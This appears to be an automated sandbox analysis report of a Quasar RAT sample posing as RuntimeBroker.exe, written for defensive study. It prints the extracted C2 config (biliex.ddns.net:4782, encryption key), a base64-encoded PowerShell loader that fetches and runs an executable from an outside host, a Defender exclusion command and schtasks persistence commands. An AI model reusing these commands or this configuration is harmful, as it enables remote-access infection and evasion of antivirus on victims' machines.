Analysis
- user interaction
yes - max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
02/06/2026, 17:39
General
- Target RuntimeBroker.exe
- Size 34KB
- Sample260602-v8q1xabx21
- SHA256 c593a6f3c05ccda8a7a8e4df7ab7d1e04f2f58a0c02c652cc307e82cc207edc4
Malware Config
Extracted
-
quasar
-
1.4.1
-
Runtime Broker
-
biliex.ddns.net:4782
-
091b3e82-089c-4b86-9489-c32e149870df
-
encryption_key
5B27051D67AA2CCE9314596003B68709A13FC003
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Runtime Broker
-
subdirectory
discord
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 2 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -enc cwB0AGEAcgB0ACAAUABvAHcAZQByAHMAaABlAGwAbAAgAC0AQQAgACcAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACcAIAAtAFYAIAByAHUAbgBBAHMADQAKAA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBrAGkAbgBvAHAAaQBvAC4AYwBsAHUAYgAvAHgAcQBKAHUAUwA3AEQATQBwADUAWQBOAE4AWgBYAE0ARQBkAFEAZABzAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlAA0ACgANAAoAcwB0AGEAcgB0ACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUA2⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:AppData3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\discord\Client.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\discord\Client.exe"C:\Users\Admin\AppData\Roaming\discord\Client.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\discord\Client.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /delete /tn "Runtime Broker" /f5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iy1QACtKtW6c.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\discord\Client.exeC:\Users\Admin\AppData\Roaming\discord\Client.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
Client.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_cbgp2nke.vg1.ps1
iy1QACtKtW6c.bat
RuntimeBroker.exe
memory/832-15-0x0000000006690000-0x00000000066AE000-memory.dmp
memory/832-20-0x0000000007E60000-0x0000000007EAC000-memory.dmp
memory/832-13-0x0000000006590000-0x00000000065B2000-memory.dmp
memory/832-14-0x0000000006700000-0x0000000006766000-memory.dmp
memory/832-11-0x0000000008040000-0x00000000086BA000-memory.dmp
memory/832-16-0x0000000006D60000-0x0000000006DAA000-memory.dmp
memory/832-17-0x0000000006FB0000-0x0000000007307000-memory.dmp
memory/832-18-0x0000000007A70000-0x0000000007AD6000-memory.dmp
memory/832-19-0x0000000007A40000-0x0000000007A62000-memory.dmp
memory/832-12-0x00000000065F0000-0x0000000006686000-memory.dmp
memory/832-10-0x0000000006510000-0x0000000006546000-memory.dmp
memory/832-9-0x00000000064B0000-0x00000000064CA000-memory.dmp
memory/832-37-0x0000000009A70000-0x0000000009B02000-memory.dmp
memory/832-38-0x00000000099F0000-0x00000000099FA000-memory.dmp
memory/832-0-0x0000000000F70000-0x0000000000F7E000-memory.dmp
memory/832-2-0x0000000007390000-0x00000000079BA000-memory.dmp
memory/832-1-0x00000000067B0000-0x0000000006D56000-memory.dmp
memory/2224-39-0x0000000006F00000-0x0000000006F34000-memory.dmp
memory/2224-40-0x0000000070E60000-0x0000000070EAC000-memory.dmp
memory/2224-48-0x0000000006F70000-0x0000000007014000-memory.dmp
memory/2224-61-0x00000000072E0000-0x00000000072F1000-memory.dmp
memory/2224-47-0x0000000006F40000-0x0000000006F5E000-memory.dmp
memory/2224-66-0x0000000007310000-0x000000000731E000-memory.dmp
memory/2224-67-0x0000000007320000-0x0000000007335000-memory.dmp
memory/2224-68-0x0000000007410000-0x000000000742A000-memory.dmp
memory/2224-69-0x0000000007400000-0x0000000007408000-memory.dmp
memory/2224-49-0x0000000007140000-0x000000000714A000-memory.dmp
memory/3020-21-0x0000000002E10000-0x0000000002E20000-memory.dmp
memory/3020-22-0x0000000002E10000-0x0000000002E20000-memory.dmp
memory/3548-79-0x000000001D230000-0x000000001D280000-memory.dmp
memory/3548-80-0x000000001D340000-0x000000001D3F2000-memory.dmp
memory/3548-82-0x000000001D2C0000-0x000000001D2D2000-memory.dmp
memory/3548-83-0x000000001DC50000-0x000000001DC8C000-memory.dmp
memory/3880-64-0x0000000000990000-0x0000000000CB4000-memory.dmp